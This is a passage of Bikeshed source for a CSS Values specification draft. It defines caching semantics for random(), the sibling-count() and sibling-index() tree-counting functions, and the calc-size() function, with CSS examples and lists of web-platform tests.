			so you get a bunch of <strong>identical</strong> random <strong>rectangles</strong>.

		<style>
		.box-example {
		 white-space: pre;
		 > b {
		  border: 2px solid;
		  display: inline-block;
		  margin: 0 .2em;
		 }
		 &.name > b {
		  aspect-ratio: 1/1;
		  width: .5em;
		 }
		 &.auto > b {
		  &:nth-child(1) { aspect-ratio: 3/1; height: .5em;}
		  &:nth-child(2) { aspect-ratio: 1/2; width: .5em;}
		  &:nth-child(3) { aspect-ratio: 3/2; height: .5em;}
		  &:nth-child(4) { aspect-ratio: 1/3; width: .5em;}
		 }
		 &.element-scoped > b {
		  aspect-ratio: 1;
		  &:nth-child(1) { width: .5em;}
		  &:nth-child(2) { width: .2em;}
		  &:nth-child(3) { width: .8em;}
		  &:nth-child(4) { width: .4em;}
		 }
		 &.property-scoped > b {
		  aspect-ratio: 2/1;
		  height: .5em;
		 }
		}
		</style>
	</div>

	<div class=example>
		Note that only the [=random cache name=]
		controls whether two [=random functions=] have the same value or not;
		their <em>other</em> arguments don't contribute in any way.

		Thus, the following two styles:

		<pre highlight=css>
		.foo {
			width: random(--foo, 100px, 200px);
			animation: --pulse linear random(--foo, 1s, 2s);
		}
		</pre>

		will actually share a [=random base value=]
		because their [=random cache names=] are identical.
		If this [=random cache name=] is linked to a [=random base value=] of 0.25,
		for example,
		this will give the element a width of ''125px''
		and an animation-duration of ''1.25s''.

		If you want the values to be completely uncorrelated,
		give them distinct names (''--foo'' vs ''--bar'')
		or mix in additional information that will uniquify their [=random cache names=]
		(specifying ''--foo property-scoped'', or omitting the <<random-key>> argument entirely)
	</div>

	<details class=note id=auto-naming-details>
		<summary>Details about how ''random()/auto'' works</summary>

		The ''random()/auto'' value is identical to specifying ''--foo element-scoped property-index-scoped'',
		just with an unobservable name that you can't manually match with a <<dashed-ident>>.

		<em>Usually</em>, this ensures that every instance of a [=random function=],
		on every element,
		gets a different [=random cache name=] and thus a different [=random base value=].
		However, this can fail in some corner cases,
		causing random values to be shared when it's unexpected.
		For example, in the following:

		<pre highlight=css>
		.foo {
			animation: flicker linear random(1s, 2s);
		}
		.foo:hover {
			animation: glow linear random(4s, 6s);
		}
		</pre>

		The two ''random()'' functions have the same [=random cache name=]
		on a given element
		(both are the first [=random function=] used in 'animation'),
		so they'll share [=random base values=] on a single element
		and generate related random values,
		even though the author likely considers them to be
		different instances of ''random()''.

		This unexpected sharing is, unfortunately, unavoidable.
		CSS generally doesn't care <em>how</em> you organize styles for your elements;
		in particular, whether you style several elements
		with a single style rule like ''.foo, .bar {...}'',
		multiple style rules like ''.foo {...} .bar {...}'',
		or by setting the <{html-global/style}> attribute on each element individually,
		you'll get the same results.
		This needs to continue to be true even when you're using random values,
		so we can't distinguish random values by how they're <em>set</em>,
		only how they're <em>used</em>.

		There's no syntactic distinction in a stylesheet
		between styling "related" elements and "independent" elements,
		or distinguishing "independent" states,
		so we must treat all elements as potentially related for this purpose.
		If this is undesirable,
		you can always supply a sufficiently unique <<dashed-ident>> yourself,
		like ''random(--sidebar-width, ...)'' on one set of elements
		and ''random(--card-width, ...)'' on another,
		or ''random(--flicker, ...)'' and ''random(--glow, ...)'' on the different rules.
	</details>

	More specifically,
	the ''random()'' and ''random-item()'' functions are defined to generate random values
	under the following caching semantics:

	* Each instance of a [=random function=] in styles
		has an associated <dfn>random base value</dfn>.

		If the [=random function's=] <<random-key>> is ''fixed <<number>>'',
		the [=random base value=] is that number.

		Otherwise, the [=random base value=] is a pseudo-random real number
		in the range `[0, 1)`
		(greater than or equal to 0 and less than 1),
		generated from a uniform distribution,
		and influenced by the function's [=random cache name=].

	* Each [=random function=] also specifies a <dfn>random cache name</dfn>.
		Two [=random functions=] with the same [=random cache name=]
		must also have the same [=random base value=];
		two functions with different [=random cache names=]
		must have distinct [=random base values=].
		(That is, generated by a fresh random operation;
		randomness might of course produce the same actual value.)

		It is intentionally unspecified <em>how</em> the [=random cache name=]
		is used to achieve this.
		It can literally cache a generated random value,
		or be used as a seed for a PRNG,
		etc.

	* A [=random cache name=] is a [=tuple=] of:
		1. A nullable [=string=] name:
			the value of the <<dashed-ident>>, if specified;
			otherwise null.
		2. A nullable [=string=] property/index value:
			the value of the <<random-ua-ident>>, if specified/calculated;
			otherwise null.
		4. A nullable /element identifier/
			uniquely identifying the object the style is being applied to
			(the {{Element}}, [=pseudo-element=],
			or [=custom function=] evaluation's "hypothetical element"),
			if ''random()/element-scoped'' is specified;
			otherwise null.
		5. A /document identifier/ identifying the {{Document}} the styles are from.

		The /element identifier/ and /document identifier/
		must have the same lifetimes and equivalence semantics
		as a JavaScript reference to the {{Element}} or {{Document}}.

		Issue: The behavior for pseudo-elements needs to be clarified.

	* The [=random cache name=] and [=random base value=]
		must be determined by [=computed value=] time,
		before [=inheritance=],
		so that a random function that is unresolved by inheritance time
		(due to containing, for example, a layout-sensitive percentage)
		does not have a different behavior on children
		than one that resolves immediately.

	<div class=example>
		Shorthands are recorded as part of the [=random cache name=],
		rather than the longhand the value gets expanded to.
		For example:

		<pre highlight=css>
		.same-tb-same-rl {
			margin: random(0px, 10px) random(0px, 10px);
		}
		</pre>

		Here, the <<random-ua-ident>> part of the [=random cache name=]
		is "ua-margin-1" and "ua-margin-2", respectively.
		After expansion, then,
		'margin-top' and 'margin-bottom' will share the same random value,
		and 'margin-left' and 'margin-right' will share a different random value.

		Combining shorthands with longhands will produce different caching keys:

		<pre highlight=css>
		.different-tb-same-rl {
			margin: random(0px, 10px) random(0px, 10px);
			margin-bottom: random(0px, 10px);
		}
		</pre>

		The 'margin-bottom' value has a [=random cache name=] <<random-ua-ident>>
		of <code>"ua-margin-bottom-1"</code>,
		which is different from the 'margin-top' key of <code>"ua-margin-1"</code>,
		so the top and bottom margins will be different random values.
		'margin-left' and 'margin-right' continue to share a third random value <code>"ua-margin-2"</code>,
		as they still share the name <code>"margin"</code> property name and <code>2</code> index.
	</div>

	<div class=example>
		The evaluation semantics of [=custom properties=]
		can make [=random functions=] act a little unpredictably
		if you're not careful.

		For example, in the following:

		<pre highlight=css>
		.square-or-rect {
			--size: random(100px, 500px);
			width: var(--size);
			height: var(--size);
		}
		</pre>

		If '--size' isn't a [=registered custom property=],
		or is registered but with the universal grammar ''*'',
		the ''random()'' function isn't evaluated
		(or even recognized *as* a ''random()'' function)
		in ''--size'',
		so the default rules for an omitted <<random-key>> aren't applied.
		Instead, it's evaluated when it's substituted into 'width' and 'height',
		so each gets a distinct [=random cache name=],
		and this ends up defining a random <em>rectangle</em>,
		rather than a square.

		Similarly, ''random()/element-scoped'' in the <<random-key>>
		won't cause the function to determine its "element identifier"
		until substitution actually happens--
		which might be <em>after</em> '--size' has inherited through multiple elements--
		so again multiple elements using ''var(--size)''
		would end up with distinct random values
		rather than sharing one value defined on their ancestor.

		The first issue can be resolved,
		if desired,
		by specifying a <<dashed-ident>> explicitly,
		rather than relying on the defaulting rules.

		Both issues can be resolved
		by instead using a [=registered custom property=]
		with a non-universal grammar,
		so the ''random()'' function will be parsed and evaluated by the [=custom property=]
		(gaining a <<random-ua-ident>> of "ua---size-1"),
		and then the resolved random value will be substituted into each property.
	</div>


<h4 id=random-simplify>
Simplification of <<random-key>></h4>

	At parse time,
	certain transformations are performed on the <<random-key>> of a [=random function=]:

	* If the <<random-key>> is ''auto'' (or omitted),
		it's turned into ''element-scoped property-index-scoped''.
		(And then subject to the below transformations.)
	* If the <<random-key>> contains ''property-scoped'' or ''property-index-scoped'',
		that keyword is replaced by a <<random-ua-ident>>:
		either <css>ua-PROPERTY</css> with PROPERTY being the property the value was parsed as,
		or <css>ua-PROPERTY-INDEX</css> with PROPERTY as the previous
		and INDEX being the 1-indexed integer index of this [=random function=]
		among all [=random functions=] being used in the declaration.

		The INDEX value is based on the ordering in the parsed value,
		before any canonicalization/reordering might occur
		that could shuffle the values around.

	In certain cases,
	the <<random-ua-ident>> is slightly more complex:

	* when evaluated inside of a [=custom function=]
		(in a property with a type that causes evaluation,
		such as a typed argument or a typed '@function/result'),
		in addition to the PROPERTY and/or INDEX,
		the function's name is captured in the ident:
		<css>ua-FUNCTIONNAME-PROPERTY</css> or <css>ua-FUNCTIONNAME-PROPERTY-INDEX</css>.

		Note: This ensures that different functions
		that just happen to use the same internal variable names
		don't accidentally tie their random values together.

		<div class=example>

			For example, given the following custom function and usage:

			<xmp highlight=css>
			@function --ex(--arg <length>) returns <length> {
				--local: random(2px, 3px);
				result: calc(var(--arg) + var(--local) + random(3px, 4px));
			}
			.foo {
				width: --ex(random(1px, 2px));
			}
			</xmp>

			The '--arg' is registered as a <<length>>,
			so it's value is evaluated within the ''--arg'' property,
			getting a <<random-ua-ident>> of ''ua---ex---arg-1''.

			The '--local' is <em>not</em> registered,
			so it doesn't evaluate the ''random()'' at all;
			it's left as-is until substitution.

			The '@function/result' is also registered as a <<length>>.
			Both the ''random(2px, 3px)'' (from '--local' substitution)
			and ''random(3px, 4px)'' (written literally)
			evaluate within '@function/result',
			getting <<random-ua-ident>>s of ''ua---ex-result-1'' and ''ua---ex-result-2''.
		</div>

		<div class=example>
			On the other hand, in this example:

			<xmp highlight=css>
			@function --no-types(--arg) {
				result: calc(var(--arg) + random(2px, 3px));
			}
			.foo {
				width: --no-types(random(1px, 2px));
			}
			</xmp>

			Neither the '--arg' argument nor the '@function/result' are typed,
			so their values aren't evaluated within the function.
			The function call substitutes itself with the value ''calc(random(1px, 2px) + random(2px, 3px))'',
			which is then evaluated within 'width',
			getting <<random-ua-ident>>s of ''ua-width-1'' and ''ua-width-2'' instead.
		</div>
	* when evaluated inside of an [=arbitrary substitution function=]
		as part of the substitution process,
		the prefix is ''ua-early-'' rather than just ''ua-''.
		The INDEX portion, as well, is tracked across all substitutions in the property.

		<div class=example>
			For example, in this relatively complex value:

			<xmp highlight=css>
			.foo {
				width: calc(
					if(
						style(random(/*eA*/) == random(/*eB*/)): random(/*lA*/);
						else: random(/*lB*/))
					)
					+ if(
						style(random(/*eC*/) > random(/*eD*/): random(/*lC*/);
						else: random(/*lD*/))
					)
				);
			}
			</xmp>

			The four ''random()''s in the ''if/style()'' tests (''eA'' through ''eD'')
			are all evaluated
			(since using <css>==</css> or <css>></css> provides a numeric context)
			as part of substitution,
			so their <<random-ua-ident>>s are ''ua-early-width-1''/''-2''/''-3''/''-4''.

			Each ''if()'' will resolve to one of the "late" ''random()''s (''lA'' through ''lD''),
			left unevaluated and substituted into the 'width',
			giving "normal" <<random-ua-ident>>s of ''ua-width-1'' and ''ua-width-2''.
		</div>

	If the <<random-key>> contains a <<random-ua-ident>>,
	this must not be omitted in the serialization of the value,
	even if this would normally be valid per the
	[=serialize a CSS value|"shortest serialization principle"=].

	<div class=example>
		For example,
		specifying ''margin: random(10px, 20px) random(10px, 20px)''
		will cause the top and bottom margins to be one random value,
		and the left and right margins to be another random value.
		The omitted <<random-key>>s get rewritten at parse-time
		to ''element-scoped ua-margin-1'' and ''element-scoped ua-margin-2'',
		respectively,
		before they expand into the 'margin' longhands.

		This way, the 'margin-top' and 'margin-bottom' longhands
		will both contain the key ''element-scoped ua-margin-1'',
		ensuring that the two values remain linked
		even if you read and then set the value back.
	</div>

	The [=random base value=] of a [=random function=]
	is generally known at [=specified value=] time,
	once it's known which element the function is being applied to.
	As a [=math function=], a ''random()'' function can be [=simplify a calculation tree|simplified=]
	as soon as its argument [=calculations=]
	can be simplified to compatible numeric values.
	If a ''random()'' function can't be fully [=simplify a calculation tree|simplified=]
	by [=computed value=] time,
	then its arguments are maximally simplified,
	and its specified <<random-key>>
	is replaced with ''fixed BASE'',
	where <css>BASE</css> is the function's [=random base value=].

	Note: As an [=arbitrary substitution function=],
	''random-item()'' is always replaced at [=computed value=] time.

	<div class=example>
		For example, given the declaration ''width: random(100px, 100%)'',
		the calculations can't be simplified at [=computed value=] time
		because the percentage depend on [=used value=] information
		(the size of the element's [=containing block=],
		to resolve the ''100%'' against).

		So, the [=computed value=] of the property
		becomes something like ''width: random(fixed .1234, 100px, 100%)''.
		Once the ''100%'' is resolved to a length
		(say, ''500px''),
		the function will be able to fully simplify
		(to ''149.36px'').
	</div>


<!-- Big Text: counting

 ███▌   ███▌  █▌  █▌ █    █▌ █████▌ ████ █    █▌  ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
█▌     █▌  █▌ █▌  █▌ ██▌  █▌   █▌    ▐▌  ██▌  █▌ █▌
█▌     █▌  █▌ █▌  █▌ █▌▐█ █▌   █▌    ▐▌  █▌▐█ █▌ █▌ ██▌
█▌     █▌  █▌ █▌  █▌ █▌  ██▌   █▌    ▐▌  █▌  ██▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌   █▌   █▌    ▐▌  █▌   █▌ █▌  █▌
 ███▌   ███▌   ███▌  █▌   ▐▌   █▌   ████ █▌   ▐▌  ███▌
-->

<h2 id="tree-counting">
Tree Counting Functions: the ''sibling-count()'' and ''sibling-index()'' notations</h2>

<wpt>
tree-counting/calc-sibling-function-in-shadow-dom.html
tree-counting/calc-sibling-function-parsing.html
tree-counting/calc-sibling-function.html
tree-counting/sibling-function-container-query-invalidation.html
tree-counting/sibling-function-container-query.html
tree-counting/sibling-function-invalidation.html
tree-counting/sibling-index-keyframe-font-style-dynamic.html
tree-counting/sibling-index-keyframe-font-variation-settings-dynamic.html
tree-counting/sibling-index-keyframe-font-weight-dynamic.html
tree-counting/sibling-index-keyframe-length-value-dynamic.html
tree-counting/sibling-index-keyframe-palette-mix-dynamic.html
tree-counting/sibling-index-keyframe-percent-dynamic.html
tree-counting/sibling-index-keyframe-registered-properties-dynamic.html
tree-counting/sibling-index-keyframe-rotate-dynamic.html
tree-counting/sibling-index-keyframe-scale-dynamic.html
tree-counting/sibling-index-keyframe-transform-dynamic.html
tree-counting/sibling-index-keyframe-value-dynamic.html
tree-counting/sibling-index-linear-gradient-gcs.html
tree-counting/tree-scoped-sibling-function.html
tree-counting/trig-functions-with-runtime-angle-arguments.html
</wpt>

	The <dfn>sibling-count()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the total number of child <l spec=css-display-3>[=elements=]</l>
	in the parent of the element on which the notation is used.

	The <dfn>sibling-index()</dfn> [=functional notation=] represents,
	as an <<integer>>,
	the index of the element
	on which the notation is used
	among its [=inclusive siblings=].
	Like '':nth-child()'',
	''sibling-index()'' is 1-indexed.

	Together, these are known as the <dfn>tree-counting functions</dfn>.

	Note: The ''counter()'' function can provide similar abilities as ''sibling-index()'',
	but returns a <<string>> rather than an <<integer>>.

	When used on an [=element-backed pseudo-element=] that is also a real element,
	the [=tree-counting functions=] resolve for that real element.
	For other [=pseudo-elements=],
	they resolve as if they were resolved against the [=ultimate originating element=].


	A [=tree-counting function=]
	is a type of  [=tree-scoped reference/loosely-matched=] [=tree-scoped reference=],
	which is resolved as if the element were given an automatic [=tree-scoped name=]
	that matches an identical automatic name on the [=tree-scoped reference=]
	of the [=tree-counting function=].
	If the reference fails to match
	(because the element is, for example, in a descendent shadow tree from the stylesheet),
	the function returns 0.

	Note: This restriction is to avoid leaking shadow tree information to outer [=trees=].

	<div class=example>
		The following examples show how ''sibling-index()'' resolves
		for [=pseudo-elements=] and across [=shadow tree=] boundaries:

		<pre class=lang-css>
		#target {
			/* Based on the sibling-index() of #target */
			width: calc(sibling-index() * 10px);
		}
		#target::before {
			/* Based on the sibling-index() of #target */
			width: calc(sibling-index() * 10px);
		}
		#target::before::marker {
			/* Based on the sibling-index() of #target */
			width: calc(sibling-index() * 10px);
		}
		::slotted(*)::before {
			/* Based on the sibling-index() of the slotted element in the outer tree */
			width: calc(sibling-index() * 10px);
		}
		::part(my-part) {
			/* Returns 0px, because referencing a shadow tree */
			width: calc(sibling-index() * 10px);
		}
		:host {
			/* Based on the host's sibling-index() in the outer tree */
			width: calc(sibling-index() * 10px);
		}
		</pre>

	</div>

	Note: Like '':nth-child()'' and other counting selectors,
	the [=tree-counting functions=] operate on the DOM tree,
	rather than the [=flat tree=] like most CSS operations do.
	They may, in the future, have variants that support counting [=flat tree=] siblings.

	Note: These functions may, in the future,
	be extended to accept an ''of <<complex-real-selector-list>>'' argument,
	similar to '':nth-child()'',
	to filter on a subset of the children.


<!-- Big Text: calc-size()

 ███▌   ███▌  █▌     ███▌         ███▌  ████ █████▌ █████▌   ██ ██
█▌  █▌ ▐█ ▐█  █▌    █▌  █▌       █▌  █▌  ▐▌      ▐▌ █▌      █▌   ▐█
█▌     █▌  █▌ █▌    █▌           █▌      ▐▌     ▐▌  █▌     █▌     ▐█
█▌     █▌  █▌ █▌    █▌     ████▌  ███▌   ▐▌    █▌   ████   █▌     ▐█
█▌     █████▌ █▌    █▌               █▌  ▐▌   █     █▌     █▌     ▐█
█▌  █▌ █▌  █▌ █▌    █▌  █▌       █▌  █▌  ▐▌  █      █▌      █▌   ▐█
 ███▌  █▌  █▌ █████  ███▌         ███▌  ████ █████▌ █████▌   ██ ██
-->

<h2 id=calc-size>
Calculating With Intrinsic Sizes: the ''calc-size()'' function</h2>

<wpt>
calc-size/calc-size-aspect-ratio-001.html
calc-size/calc-size-aspect-ratio-002.html
calc-size/calc-size-aspect-ratio-003.html
calc-size/calc-size-aspect-ratio-004.html
calc-size/calc-size-aspect-ratio-005.html
calc-size/calc-size-flex-001.html
calc-size/calc-size-flex-002.html
calc-size/calc-size-flex-003.html
calc-size/calc-size-flex-004.html
calc-size/calc-size-flex-005.html
calc-size/calc-size-flex-006.html
calc-size/calc-size-flex-007.html
calc-size/calc-size-flex-008.html
calc-size/calc-size-flex-009.html
calc-size/calc-size-flex-basis-on-column.html
calc-size/calc-size-flex-basis-on-row.html
calc-size/calc-size-grid-repeat.html
calc-size/calc-size-height-box-sizing.html
calc-size/calc-size-height.html
calc-size/calc-size-min-max-sizes-001.html
calc-size/calc-size-min-max-sizes-002.html
calc-size/calc-size-min-max-sizes-003.html
calc-size/calc-size-min-max-sizes-004.html
calc-size/calc-size-min-max-sizes-005.html
calc-size/calc-size-min-max-sizes-006.html
calc-size/calc-size-no-body-height-quirk-001.html
calc-size/calc-size-parsing.html
calc-size/calc-size-svg-001-crash.html
calc-size/calc-size-typed-om.html
calc-size/calc-size-width-box-sizing.html
calc-size/calc-size-width.html
calc-size/interpolate-size-computed.html
calc-size/interpolate-size-parsing.html
</wpt>

	Transitioning between two <<length-percentage>> sizes,
	or slightly adjusting one,
	can be done easily with ''calc()'':
	halfway between ''100%'' and ''20px'' is ''calc(50% + 10px)'',
	for example.
	But these operations are no longer possible if the size you want to adjust
	or transition to/from
	is a non-numeric value such as ''width/auto'' or ''width/fit-content''
	or a [=cyclic percentage size=].
	[[CSS-SIZING-3]]

	The <dfn>calc-size()</dfn> function
	allows math and transition/animation to be performed on these sizes
	in a safe, well-defined way.
	Its syntax is as follows:

	<pre class=prod>
	<<calc-size()>> = calc-size( <<calc-size-basis>>, <<calc-sum>> )
	<dfn><<calc-size-basis>></dfn> = [ <<size-keyword>> | <<calc-sum>> | <<calc-size()>> | any ]
	</pre>

	The first argument given is the <dfn>calc-size basis</dfn>,
	which represents the size the ''calc-size()'' is based on,
	and the second is the <dfn>calc-size calculation</dfn>,
	which represents the size that ''calc-size()'' will actually resolve to,
	based on the [=calc-size basis=].

	<div class="example">
		Some examples:

		<pre>
			height: calc-size(auto, 0);           /* used height is zero */
			height: calc-size(auto, 50%);         /* used height is 50% of the container */
			height: calc-size(auto, size / 2);    /* used height is 50% of auto */
			height: calc-size(auto, size);        /* used height is auto */
			height: calc-size(auto, size + 10px); /* used height is auto + 10px */
			height: calc-size(auto, round(up, size, 20px));
			                                      /* used height is rounded up to the
			                                         nearest multiple of 20px */
			height: calc-size(any,  size / 2);    /* declaration is invalid */
		</pre>
	</div>

	The [=calc-size basis=] values are:

	<dl dfn-type=value dfn-for="calc-size()">
		: <dfn type>&lt;size-keyword></dfn>
		::
			Indicates that the ''calc-size()'' is basing its size off of the specified keyword.
			Represents any sizing keywords allowed in the context
			where the function is used.
			For example, in 'width',
			it matches ''width/auto'', ''width/min-content'', ''width/stretch'', etc.
			Also allows any related sizing functions,
			like the ''width/fit-content()'' function in 'width'/etc.,
			which is a variation of the ''width/fit-content'' keyword.
			For all purposes other than actually resolving the size,
			the ''calc-size()'' acts like this keyword.

			The [=calc-size calculation=] will use the corresponding size
			as the value of its  ''calc-size()/size'' keyword.

		: <dfn><<calc-sum>></dfn>
		::
			Indicates that the ''calc-size()'' is basing its size off of the specified [=calculation=].
			For all purposes other than actually resolving the size,
			the ''calc-size()'' acts like this [=calculation=] wrapped in a ''calc()''
			(including, for example, whether it represents a [=definite=] or [=indefinite=] size).

			The [=calc-size calculation=] will use the corresponding size
			as the value of its  ''calc-size()/size'' keyword.

		: <dfn><<calc-size()>></dfn>
		::
			Indicates that the outer ''calc-size()'' is basing its size
			off of this inner ''calc-size()'',
			and will share the same behavior as it.

			The [=calc-size calculation=] will use the size of the inner ''calc-size()''
			as its ''calc-size()/size'' keyword.
			The ''calc-size()/size'' keyword is allowed, in this case,
			even if the inner ''calc-size()'' uses ''calc-size()/any''.

			<div class=example>
				For example, in ''calc-size(calc-size(min-content, size / 2), size + 10%)'',
				the outer ''calc-size()'' acts as if its [=calc-size basis=] was ''width/min-content'',
				and will calculate its own ''calc-size()/size'' 
				using the result of the inner ''calc-size()'',
				equivalent to ''calc-size(min-content, size / 2 + 10%)''.
			</div>

			<details class=note>
				<summary>Why can ''calc-size()'' be nested?</summary>

				Allowing ''calc-size()'' as the basis argument
				means that authors can use a variable as the basis
				(like ''calc-size(var(--foo), size + 20px)'')
				and it will <em>always work</em>
				as long as the variable was originally valid for the property.

				Doing the same with just ''calc()'' doesn't work -
				for example, if you have ''--foo: calc-size(min-content, size + 20px)'',
				or even just ''--foo: min-content'',
				then ''calc( (var(--foo)) + 20px )'' fails.

				The nesting is simplified away during interpolation,
				and at used-value time,
				so the basis always ends up as a simple value
				by the time interpolation and other effects occur;
				see [[#simplifying-calc-size]].
			</details>

		: <dfn>any</dfn>
		::
			Indicates that the ''calc-size()'' does not depend on any additional information,
			and thus can be interpolated with <em>any</em> other size.
			The ''calc-size()'' function represents a [=definite size=].

			The [=calc-size calculation=] cannot use the ''calc-size()/size'' keyword;
			it is a syntax error for ''calc-size()/size'' to appear in the [=calc-size calculation=].

			Note: ''calc-size(any, ...)'' is mostly identical to ''calc(...)'',
			but it is automatically interpolatable with other sizing keywords,
			regardless of the 'interpolate-size' value.
			(It does treat percentages slightly differently,
			if the containing block's size is not [=definite=].)
	</dl>

	For the purpose of sizing
	(including for [=intrinsic size contributions=]),
	''calc-size()'' resolves to the result of its [=calc-size calculation=].

	For either argument,
	if a <<calc-sum>> is given,
	its [=CSSNumericValue/type=] must [=CSSNumericValue/match=] <<length-percentage>>,
	and it must resolve to a <<length>>.
	See [[css-values-4#calc-type-checking]].
	Like ''calc()'', it inherits the property's [=calculation context=].
	However, a <<calc-size()>> is specifically <em>not</em> a <<length>>;
	any place that wants to accept ''calc-size()''
	must explicitly include it in its grammar.

	Within the [=calc-size calculation=],
	the <dfn for="calc-size(), calc()" value>size</dfn> is a <<calc-keyword>>
	which is a <<length>>,
	and resolves at [=used value=] time
	to the size specified above.

	<details class=note>
		<summary>Why not just allow intrinsic keywords in ''calc()''?</summary>

		In theory, rather than introducing ''calc-size()'',
		we could have defined ''calc(auto * .5)'' to be valid,
		allowing interpolation to work as normal.

		This has the minor issue that mixing keywords still wouldn't be allowed,
		but it wouldn't be as obvious
		(that is, ''calc((min-content + max-content)/2)'' looks reasonable,
		but would be disallowed).

		The larger issue, though,
		is that this wouldn't allow us to smoothly transition percentages.
		''calc(50%)'' is only half the size of ''calc(100%)''
		when percentages are [=definite=] in the context;
		if they're not, the two values will usually be the same size
		(depending on the context, either ''0px'' or ''width/auto''-sized).

		Using a new function that explicitly separates
		the size you're calculating against
		from the calculation itself
		lets us get smooth interpolation in <em>all</em> cases.

		An additional consideration is that there are many effects,
		some small and some large,
		that depend on whether an element is intrinsically sized or definite.
		Consider, for example, <a href="https://www.w3.org/TR/CSS2/box.html#collapsing-margins">margin collapsing</a>.
		Using ''calc()'' would mean that the answer to the question
		“is the element intrinsically-sized”
		can have one answer in the middle of a transition
		(“yes”, for ''calc(min-content * .2 + 20px * .8))''),
		but a different answer at the end of the transition
		(“no”, for ''calc(20px)''),
		causing the layout to jump at the end of an otherwise-smooth transition.

		(This issue is similar to the stacking-layer changes that can occur
		when animating from ''opacity:1'' to ''opacity: 0'':
		any non-''1'' value forces a stacking context, but ''1'' does not.
		With 'opacity' you can get around this by animating to ''.999'',
		which is visually indistinguishable from ''1''
		but forces a stacking context.
		It's not as reasonable to ask people to animate to ''calc(auto * .0001)''
		to ensure it retains its intrinsic-ness.)

		Using a new function that identifies itself
		as nominally being a keyword size,
		like ''calc-size(auto, 20px)'',
		means we can maintain stable layout behaviors the entire time,
		even when the actual size is a definite length.
	</details>

<h3 id=resolving-calc-size>
Resolving ''calc-size()''</h3>

	Before [=used value=] time,
	''calc-size()'' functions are not resolved or simplified.
	(But see [[#interpolate-calc-size]].)

	At [=used value=] time,
	the [=calc-size calculation=] is resolved
	just like the value of a ''calc()'' expression,
	by substituting in the used value of the [=calc-size basis=]
	for the ''calc-size()/size'' keyword in the [=calc-size calculation=],
	and evaluating any percentages normally (if they are [=definite=])
	or against ''0px'' (if they are not).

	<div class=note>
		Percentages in the [=calc-size basis=] resolve as normal
		so you can always smoothly transition to <em>any</em> size,
		regardless of its value or behavior.
		For example, ''calc-size(100%, size)'' 
		is guaranteed to interpolate smoothly with ''calc-size(100%, 0px)'',
		producing intermediate values like ''calc-size(100%, size * .5)''.
		Without ''calc-size()'',
		interpolation from ''100%'' to ''0px'' only works as expected
		if the percentage is [=definite=];
		otherwise, the intermediate values like ''calc(50%)'' 
		might all [=behave as auto=]
		and not change size at all.

		Percentages in the [=calc-size calculation=], on the other hand,
		are resolved to ''0px'' when they would otherwise be indefinite,
		to avoid making the ''calc-size()''
		potentially act in two different ways.
		There are some cases where a ''width/min-content'' size, for example,
		will cause different layout effects than a ''100%'' size,
		and so a ''calc-size()'' has to commit to one behavior or the other.
	</div>


<h3 id=interpolate-calc-size oldids="interp-calc-size">
Interpolating ''calc-size()''</h3>

<wpt>
calc-size/animation/calc-size-height-interpolation.html
calc-size/animation/calc-size-interpolation-expansion.html
calc-size/animation/calc-size-width-interpolation.html
calc-size/animation/interpolate-size-height-composition.html
calc-size/animation/interpolate-size-height-interpolation.html
calc-size/animation/interpolate-size-interpolation.html
calc-size/animation/interpolate-size-logical-properties-interpolation.html
calc-size/animation/interpolate-size-max-height-composition.html
calc-size/animation/interpolate-size-max-height-interpolation.html
calc-size/animation/interpolate-size-max-width-composition.html
calc-size/animation/interpolate-size-max-width-interpolation.html
calc-size/animation/interpolate-size-min-height-composition.html
calc-size/animation/interpolate-size-min-height-interpolation.html
calc-size/animation/interpolate-size-min-width-composition.html
calc-size/animation/interpolate-size-min-width-interpolation.html
calc-size/animation/interpolate-size-which-value.html
calc-size/animation/interpolate-size-width-composition.html
calc-size/animation/interpolate-size-width-interpolation.html
</wpt>

	Whether two ''calc-size()'' functions can be interpolated
	depends on their [=calc-size basis=] values
	(after being [=calc-size()/prepared for interpolation=]):

	<dl class=switch>
		: If either function returned failure from being [=calc-size()/prepared for interpolation=]
		:: The values cannot be interpolated.

		: If they are identical
		:: The result's [=calc-size basis=] is that basis value.

		: If either is ''calc-size()/any''
		:: The result's [=calc-size basis=] is the non-''calc-size()/any'' basis.

		: Otherwise (if they don't match and neither side is ''calc-size()/any'')
		:: The values cannot be interpolated.
	</dl>

	If they can be interpolated,
	the result's [=calc-size calculation=]
	is the interpolation of the two input [=calc-size calculations=].

	Note: These interpolation restrictions ensure that a ''calc-size()''
	doesn't try to act in two different ways at once.
	There are some cases where a ''width/min-content'' and ''width/max-content''
	would produce different layout behaviors, for example,
	so the ''calc-size()'' has to masquerade as one or the other.
	This, unfortunately, means you can't transition between keywords,
	like going from ''width/auto'' to ''width/min-content''.

	Some ''calc-size()'' values can also be interpolated
	with a <<length-percentage>> or an <<size-keyword>>.
	To determine whether the values can interpolate
	and what the interpolation behavior is,
	treat the non-''calc-size()'' value
	as ''calc-size(any,  <var ignore>value</var> )'' if the value is a <<calc-sum>>
	or as ''calc-size( <var ignore>value</var> , size)'' otherwise,
	and apply the rules above.

	<div class=example>
		For example, ''calc-size()'' allows interpolation to/from ''height: auto'':

		<pre class=lang-css>
		details {
			transition: height 1s;
		}
		details::details-content {
			display: block;
		}
		details[open]::details-content {
			height: auto;
		}
		details:not([open])::details-content {
			height: calc-size(any, 0px);
		}
		</pre>

		This will implicitly interpolate
		between ''calc-size(auto, size)'' and ''calc-size(any, 0px)''.
		Half a second after opening the <{details}>,
		the ::details-content wrapper's 'height'
		will be ''calc-size(auto, size * .5)'',
		half its open size;
		thruout the transition it'll smoothly animate its height.
	</div>

	Note: These rules allow ''calc-size(any, [=definite=] length)''
	to <em>always</em> interpolate smoothly,
	regardless of how the other side of the transition is specified.

	Note: This "upgrade a plain value into a ''calc-size()''" behavior
	puts <<length-percentage>> values into the [=calc-size calculation=].
	This allows values with percentages
	to interpolate with intrinsic size keywords,
	but does mean that when a percentage isn't [=definite=],
	it'll resolve to zero.
	If you want to resolve to the actual size the percentage would make the element,
	explicitly write a ''calc-size()''
	with the value in its [=calc-size basis=],
	like ''calc-size(50%, size)''.

<h4 id=simplifying-calc-size>
Simplifying ''calc-size()''</h4>

	Identically to [=math functions=],
	the [=calc-size calculation=]
	(and [=calc-size basis=], if it's a <<calc-sum>>)
	of a ''calc-size()'' function
	is [=simplify a calculation tree|simplified=]
	at [=specified value=] and [=computed value=] time.

	Before [=interpolation=],
